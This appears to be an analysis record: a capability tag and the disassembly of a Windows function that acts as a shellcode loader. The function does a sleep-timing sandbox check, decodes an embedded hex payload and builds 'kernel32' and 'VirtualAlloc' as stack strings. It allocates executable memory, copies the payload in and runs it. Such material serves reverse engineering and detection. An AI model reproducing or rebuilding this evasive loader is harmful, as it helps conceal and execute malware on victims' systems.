Function at 0x140001905
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x520
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4c0], ecx
mov qword [rbp + 0x4c8], rdx
call fcn.140001be0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x49c], eax
mov ecx, 0x10f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x498], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x92
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov eax, dword [rbp + 0x498]
sub eax, dword [rbp + 0x49c]
cmp eax, 0x10e
jle 0x140001b0a
mov eax, dword [rbp + 0x498]
sub eax, dword [rbp + 0x49c]
cmp eax, 0x172
jg 0x140001b0a
mov rax, qword [str.9e545474c2448670644f44ce2d4048458e8f77e44443e445bdcd04f844f4f9c00f03ae21a3a9812776266436257230fa1eb0c508c4df4503da3e2f7fb36f6f78e05bbbbd880bdc4d0e3300081168b288b2aa102cd1210b06250047b8098f88981980c45849bcc948811883f08bffe75496ac582d91aa5b110d111af591988021bf83f8a9ff21bf5dff0010ff20a2aca34e918e2541c2142e8c52e4a94efd2c390b4f4004e4b0129d6ce68548b23f8418778c4c6ca6604bb803261005d059c97e3804088e9b5794928162f720269a18191af58989001af5507857503811e300ffc4453861885443a02005524d807007481204c80c3c03740752084100455444ef541f5b66084b7d3d3c5b5d7cb034645fe8484605b3d4c58dcf45b7d80f00e00f248298e22a511c5eeb9a5096254626376336766543267532762343320fedac27ca1670e23be3f227df37021542f7979daf23d456adba5cace799160fce4296a04afc0404445f44e4d2041f487007500c9332300c480111802b807d8cc091d12211b2800808016941111d153818011801b818a1ac28a2fd99e09c17f1111016f398011a176b889d222ae563a997fd2a85f18f1b40ff5489c128cd3c8cc1b682b054453d5afcf03095d5e0e7e5b25f02356a52ba0e0235494598cf60d1f6da09db15618c6d062c6de72184a3da44eae19c0b21bbc0815f1000000858371a00922804b108800ff722414e0055d445544b34374cce453070884c0544d543d3c44cf04d44d444d80455552545ef646644842fc3c3447f58e0c5058c54343545e24c50f8cf3521800480deef567850cce20ca7ff61c948228e07462662266634225674236633553304346de549436d8ee0c60b5746bbfece8e109f154a3f162be3e550015f1475e579dd4a08bbd3001000ae954f404f9e82b8cc5405ff23238830002258b208f19c111128bc888b085104b031b6d0c111c594b064b0110e99101199fa0e9169167980d1097a80491319f9b121904b5890a180f19d650004c398233ad9addb56f0627090730660d05170dc10814b0087930e1944e42520079cc73c1ccc667697fde99d2cb5567086a1d1a785d777cc1deb444421a23c88d425751e0580000004333891899693466358800dfe7e7608056820c6ce84188d8e84a0438684d54454065f0445a414495dc85864fc0c08ea6aaa3cdd7cdd656462723623625360cb268f174723ea726618fd4ca23a096b16f4400558b88c6850f33a]
lea rdx, [0x14001b6fe]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x490], rax
mov rdx, qword [rbp + 0x490]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400018bc
nop
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x488], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x488]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4a6
mov ecx, 0
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4a6
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x470]
call rax
jmp 0x140001b17
lea rcx, str.hJaYJ
call fcn.140001583
nop
add rsp, 0x520
pop rsi
pop rdi
pop rbp
ret